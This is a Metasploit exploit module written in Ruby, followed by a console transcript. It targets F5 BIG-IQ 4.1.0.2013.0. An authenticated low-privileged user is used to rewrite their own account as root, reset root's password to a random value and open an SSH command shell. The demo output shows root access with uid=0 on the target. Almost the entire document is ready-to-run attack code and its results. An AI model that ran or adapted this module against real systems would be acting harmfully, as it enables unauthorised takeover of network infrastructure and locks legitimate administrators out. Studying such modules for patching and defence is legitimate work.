F5 BIG-IQ 4.1.0.2013.0 - Privilege Escalation (Metasploit)

##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'json'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper

  def initialize(info={})
    super(update_info(info,
      'Name'           => "F5 BIG-IQ v4.1.0.2013.0 authenticated arbitrary user password change",
      'Description'    => %q{
      F5 BIG-IQ v4.1.0.2013.0 is vulnerable to a privilege escalation attack which allows
      an attacker to change the root users password. This module does just this, then SSH's in.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Brandon Perry <[email protected]>'
        ],
      'References'     =>
        [
          ['URL', 'http://volatile-minds.blogspot.com/2014/05/f5-big-iq-v41020130-authenticated.html']
        ],
      'Platform'       => ['unix'],
      'Arch'           => ARCH_CMD,
      'Targets'        =>
        [
          ['BIG-IQ 4.1.0.2013.0', {}]
        ],
      'Privileged'     => true,
      'DefaultOptions'  =>
      {
        'SSL' => true,
        'ExitFunction' => "none"
      },
      'Payload'        =>
      {
        'Compat' => {
          'PayloadType'    => 'cmd_interact',
          'ConnectionType' => 'find'
        }
      },
      'DisclosureDate' => "Sep 23 2013",
      'DefaultTarget'  => 0))

      register_options(
        [
          Opt::RPORT(443),
          OptString.new('TARGETURI', [true, 'The URI of the vulnerable instance', '/']),
          OptString.new('USERNAME', [true, 'The user to authenticate as.', 'username']),
          OptString.new('PASSWORD', [true, 'The password to authenticate with.', 'password']),
          OptString.new('ADMINISTRATOR', [true, 'The administrator to spoof for privilege escalation', 'root']),
          OptInt.new('SSH_TIMEOUT', [ false, 'Specify the maximum time to negotiate a SSH session', 30])
        ], self.class)
  end

  def exploit
    post = {
      'username' => datastore['USERNAME'],
      'passwd' => datastore['PASSWORD']
    }

    print_status("Authenticating as " + datastore['USERNAME'])

    #Simple post to get us a cookie so we can change our password
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => '/ui/actions/logmein.html',
      'vars_post' => post
    })

    if res.headers["Location"] != "/"
      fail_with("Authentication failed")
    end

    cookie = res.get_cookies

    #this gets turned into JSON
    #
    #generation will be set in try_generation if it isn't correct
    #
    #This is also the attempt at privilege escalation, so we preserve the password
    post = {
      "name" => datastore['ADMINISTRATOR'],
      "displayName" => "fdsa",
      "generation" => 1,
      "lastUpdateMicros" => 1395360806678747,
      "kind" => "shared:authz:users:usersworkerstate",
      "selfLink" => "https://localhost/mgmt/shared/authz/users/" + datastore['USERNAME'],
      "password" => datastore['PASSWORD'],
      "password2" => datastore['PASSWORD'],
      "state" => "ACTIVE"
    }

    print_status("Escalating privileges to that of " + datastore["ADMINISTRATOR"])

    try_generation(post, cookie, '/mgmt/shared/authz/users/' + datastore['USERNAME'])

    password = Rex::Text.rand_text_alpha(rand(32)+5)

    #this is when we change the password for the root user
    post = {
      "name" => "root",
      "displayName" => "root",
      "generation" => 1,
      "lastUpdateMicros" => 1395359570236413,
      "kind" => "shared:authz:users:usersworkerstate",
      "selfLink" => "https://localhost/mgmt/shared/authz/users/root",
      "password" => password,
      "password2" => password,
      "state" => "ACTIVE"
    }

    select(nil,nil,nil,5)
    print_status("Changing root user password to " + password)

    try_generation(post, cookie, '/mgmt/shared/authz/users/root')

    res = do_login('root', password)

    if res
      print_good("Login Successful with 'root:#{password}'")
      handler(res.lsock)
    end
  end

  def try_generation(put, cookie, uri)
    done = false
    while !done
      res = send_request_cgi({
        'method' => "PUT",
        'uri' => uri,
        'data' => put.to_json,
        'cookie' => cookie
      })

      if res and res.body =~ /Invalid generation/
        put['generation'] = /Need (\d{1,9}), received \d{1,9}/.match(res.body)[1]
      elsif res and res.body =~ /encryptedPassword/
        done = true
      else
        fail_with("Didn't get a response that I expected")
      end
    end
  end
    def do_login(user, pass)

      opts = {
        :auth_methods => ['password', 'keyboard-interactive'],
        :msframework  => framework,
        :msfmodule    => self,
        :port         => 22,
        :disable_agent => true,
        :config => true,
        :password => pass,
        :record_auth_info => true,
        :proxies => datastore['Proxies']
      }

      opts.merge!(:verbose => :debug) if datastore['SSH_DEBUG']

      begin
        ssh = nil
        ssh = Net::SSH.start(datastore['RHOST'], user, opts)
      rescue Rex::ConnectionError, Rex::AddressInUse
        return nil
      rescue Net::SSH::Disconnect, ::EOFError
        print_error "#{rhost}:#{rport} SSH - Disconnected during negotiation"
        return nil
      rescue ::Timeout::Error
        print_error "#{rhost}:#{rport} SSH - Timed out during negotiation"
        return nil
      rescue Net::SSH::AuthenticationFailed
        print_error "#{rhost}:#{rport} SSH - Failed authentication"
        return nil
      rescue Net::SSH::Exception => e
        print_error "#{rhost}:#{rport} SSH Error: #{e.class} : #{e.message}"
        return nil
      end
      if ssh
        conn = Net::SSH::CommandStream.new(ssh, '/bin/sh', true)
        return conn
      end
      return nil
    end
end


__END__

msf exploit(f5_bigiq_passwd_update) > show options

Module options (exploit/linux/http/f5_bigiq_passwd_update):

Name           Current Setting  Required  Description
----           ---------------  --------  -----------
ADMINISTRATOR  root             yes       The administrator to spoof for privilege escalation
PASSWORD       notpassword      yes       The password to authenticate with.
Proxies                         no        Use a proxy chain
RHOST          192.168.1.8      yes       The target address
RPORT          443              yes       The target port
SSH_TIMEOUT    30               no        Specify the maximum time to negotiate a SSH session
TARGETURI      /                yes       The URI of the vulnerable instance
USERNAME       username         yes       The user to authenticate as.
VHOST                           no        HTTP server virtual host


Payload options (cmd/unix/interact):

Name  Current Setting  Required  Description

----  ---------------  --------  -----------

Exploit target:

Id  Name
--  ----
0   a


msf exploit(f5_bigiq_passwd_update) > exploit

[+] Login Successful with 'root:qBvBY'
[*] Found shell.
[*] Command shell session 3 opened (192.168.1.31:58165 -> 192.168.1.8:22) at 2014-03-20 21:18:09 -0500

id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel) context=root:system_r:unconfined_t:SystemLow-SystemHigh